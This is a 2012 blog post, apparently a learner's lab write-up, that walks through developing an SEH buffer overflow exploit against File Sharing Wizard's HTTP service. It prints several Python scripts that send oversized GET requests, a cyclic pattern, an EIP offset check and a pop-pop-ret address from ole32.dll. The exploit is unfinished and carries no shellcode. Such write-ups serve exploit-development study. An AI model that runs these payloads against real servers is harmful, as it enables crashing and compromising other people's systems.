Wednesday 22 February 2012

Buffer Overflow Exploits - File Sharing Wizard

this article is about exploits buffer overflow in File Sharing Wizard, 


first i  use wireshark to sniff trafic data on File Transfer Wizard from backtrack to vbox


 then i make fuzzer using python



#/usr/bin/pythom
import socket
target_address="192.168.43.2"
target_port=80
buffer="\x41" * 2500
hajar=('GET %s HTTP/1.1\r\n\r\n') % (buffer)
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_address, target_port))
sock.send(hajar)
print("send EVIL")
sock.close()
print("finish")


then i run file sharing wizard, then i run my fuzzer and file sharing wizard closed, then i check this with run file sharing wizard through ollydbg and then run my fuzzer, that result as below :
 then i open seh chain
this result showing seh chain catch '\x41' charackter that send from fuzzer
then i press shift+f9 to continuing this process
EIP overwriten by "\x41"
then edit fuzzer with adding dummies data that created using pattern_create


#/usr/bin/pythom
import socket
target_address="192.168.43.2"
target_port=80
buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7
Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7A
d8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9A
g0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9A
i0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3A
k4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am
5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4A
o5Ao6Ao7Ao8Ao9Ap0Ap1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Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8
Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9
Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8C
w9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9C
z0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0
Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd
0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9
Df0Df1Df2D"
hajar=('GET %s HTTP/1.1\r\n\r\n') % (buffer)
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_address, target_port))
sock.send(hajar)
print("send EVIL")
sock.close()
print("finish")

then i run again file transfer wizard through olludbg and run my fuzzer, and i find seh chain catch character that sends

 then continuing this process
then i use pattern offset to know this position character that overwrite EIP

pattern offset show this charackter on 1044, then to make sure i edit my fuzzer into

#/usr/bin/pythom
import socket
target_address="192.168.43.2"
target_port=80
buffer="\x90" * 1044
buffer+="\xCC\xAA\xDD\xBB"
buffer+="\x90" * (2500 - len(buffer))
hajar=('GET %s HTTP/1.1\r\n\r\n') % (buffer)
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_address, target_port))
sock.send(hajar)
print("send EVIL")
sock.close()
print("finish")

then i run again file transfer and fuzzer
  
this showing that addres of EIP its true,, then i search module that load by appliaction when running and have pop pop return, and i choose ole32.dll to check thats module have SafeSeh or not i use msfpesscan


this result is showing this ole32.dll not have safeseh, then i search pop pop return from this module




then i checked this pop pop return can use to overwrite EIP that have SEH
i edit my fuzzer into


#/usr/bin/pythom
import socket
target_address="192.168.43.2"
target_port=80
buffer="\x90" * 1040
buffer+="\xCC" * 4
buffer+="\x22\xD2\x4F\x77"
buffer+="\x90" * (2500 - len(buffer))
hajar=('GET %s HTTP/1.1\r\n\r\n') % (buffer)
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_address, target_port))
sock.send(hajar)
print("send EVIL")
sock.close()
print("finish")

then i run file sharing wizard through ollydbg and run the fuzzer again, i found seh chain catch  address of module ole32.dll

 then i press shift + F9 to continuing this proccess, but i found EIP not overwriten with address of ole32.dll , so that pop pop return can use to overwrite EIP, and i try to use another pop pop return, but its not work again and  i try  many pop return, until now i still try to search pop pop return that can use overwriten EIP

No comments:

Post a Comment